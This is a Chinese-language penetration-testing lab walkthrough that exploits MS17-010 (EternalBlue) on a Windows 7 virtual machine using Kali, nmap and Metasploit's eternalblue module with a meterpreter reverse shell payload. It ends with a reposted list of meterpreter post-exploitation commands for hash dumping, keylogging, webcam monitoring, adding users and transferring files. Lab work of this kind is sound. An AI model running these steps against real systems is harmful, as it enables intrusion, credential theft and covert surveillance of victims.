前言
漏洞描述:Microsoft Windows SMB Server远程代码执行漏洞Microsoft Server Message Block 1.0 (SMBv1)服务器处理某些请求时,在实现上存在远程代码执行漏洞,成功利用后可使攻击者在目标服务器上执行任意代码。如果攻击失败,会导致拒绝服务,对业务造成一定安全风险。
Microsoft Windows Server 2016、Microsoft Windows Server 2012 R2、Microsoft Windows Server 2012、Microsoft Windows Server 2008 R2、Microsoft Windows Server 2008、Microsoft Windows RT 8.1等等
官方描述:Microsoft Security Bulletin MS17-010 - Critical | Microsoft Learn
kali下载:Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution
Windows7下载:MSDN, 我告诉你 - 做一个安静的工具站
一、环境搭建
1、关闭Windows7防火墙
选择“ 开始 ” ,然后打开“ 控制面板 ” >” 系统和安全 “>” windows防火墙 ”>“打开或关闭Windows防火墙”>”关闭Windows防火墙“
2、设置在同一网段
虚拟机网络适配器模式改为NAT或桥接模式,使攻击机和靶机在同一网段。
菜单栏选择“虚拟机“>”设置”>“网络适配器“>”NAT模式“或”桥接模式“
3、查询Windows和kali的IP地址
攻击机kali IP :192.168.13.128
查询方法:右键呼出菜单点击“在这里打开终端“
#kali汉化方法:kali如何切换成中文_kali设置中文_徐丰年as的博客-CSDN博客
输入代码:ifconfig
靶机Windows7 IP :192.168.13.129
查询方法:win+r呼出运行窗口输入“cmd“
输入代码:ipconfig
4、查询是否在同一网段
用kali ping Windows7查看是否在同一网段
命令:ping 192.168.13.129 -c 4
-c 4 :限制测试次数为4次(节省时间,若不添加kali默认一直执行可用ctel + c 结束)
二、信息收集
1、用nmap工具扫描靶机查看目标信息
命令为:nmap -A -T4 -sV 192.168. 13.129
-A 选项用于使用进攻性(Aggressive)方式扫描;
-T4 指定扫描过程使用的时序(Timing),T4表示快速扫描。
总共有6个级别(0-5),级别越高,速度越快,但也容易被防火墙发现;
-v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,
包括扫描进度、发现的开放端口和服务信息等。
-sV:获取对应端口上更为详细的服务版本信息
确定操作系统为Windows7 开放445端口尝试ms17-010漏洞利用
三、漏洞利用
打开msf软件
查询ms17-010漏洞
先通过3 auxiliary/scanner/smb/smb_ms17_010查询是否存在该漏洞
代码:use 3 或 use auxiliary/scanner/smb/smb_ms17_010
show options 查看设置必选项(#Required 为yes的是必选设置)
set rhosts 192.168.13.129设置目标IP
run启动
发现目标系统存在ms17-010漏洞
使用代码:use 0 或use exploit/windows/smb/ms17_010_eternalblue利用exploit模块
show options查看配置必选项(#Required 为yes的是必选设置)
set payload windows/x64/meterpreter/reverse_tcp设置攻击载荷
set rhosts 192.168.13.129设置目标IP
run启动
设置完必选项直接启动得到Windows7权限
出现meterpreter>表示成功进入系统
四、后渗透攻击
使用?查询可执行命令
meterpreter可执行指令
转载:
Meterpreter的常用命令合集_meterpreter命令大全_先瘦个二十斤的博客-CSDN博客
一、基本命令
- help# 查看Meterpreter帮助
- background#返回,把meterpreter后台挂起
- bgkill# 杀死一个背景 meterpreter 脚本
- bglist#提供所有正在运行的后台脚本的列表
- bgrun#作为一个后台线程运行脚本
- channel#显示活动频道
- sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 接到指定序号的meterpreter会话已继续利用
- sesssions -k number #与会话进行交互
- close# 关闭通道
- exit# 终止 meterpreter 会话
- quit# 终止 meterpreter 会话
- interact id #切换进一个信道
- run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
- irb# 进入 Ruby 脚本模式
- read# 从通道读取数据
- write# 将数据写入到一个通道
- run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
- use# 加载 meterpreter 的扩展
- load/use#加载模块
- Resource#执行一个已有的rc脚本
二、文件系统命令
- getwd 或者pwd # 查看当前工作目录
- ls #
- cd
- mkdir lltest2 #只能在当前目录下创建文件夹
- rmdir lltest2 #只能删除当前目录下文件夹
- getlwd 或者 lpwd #操作攻击者主机 查看当前目录
- lcd /tmp #操作攻击者主机 切换目录
- cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
- upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上
- download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
- edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件
三、系统命令
- getsystem #会自动利用各种各样的系统漏洞来进行权限提升
- migrate #进程id进程迁移
- background #把当前的会话设置为背景,需要的时候在启用
- getuid #查看对方正在运行的用户
- ps #列出所有的进程
- getpid #返回运行meterpreter的id号
- sysinfo #产看系统信息和体系结构
- shell #切换到cmd的系统权限方式
- exit #退出shell会话返回meterpreter或终止meterpreter
- getdesktop 截取目标主机当前桌面会话窗口
- run webcam -p /var/www #在/var/www目录监控目标主机的摄像头
- keylog_recorder #使用migrate将会话迁移至explorer.exe的进程空间后记录键盘
四、远程桌面&截屏
- run getgui -e #开启远程桌面
- run getgui -u user1 -p 123 #添加用户
- run getgui -f 4444 –e #3389端口转发到6661
- enumdesktops #查看可用的桌面
- getdesktop #获取当前meterpreter 关联的桌面
- set_desktop #设置meterpreter关联的桌面 -h查看帮助
- screenshot #截屏
- use espia #或者使用espia模块截屏 然后输入screengrab
- run vnc #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了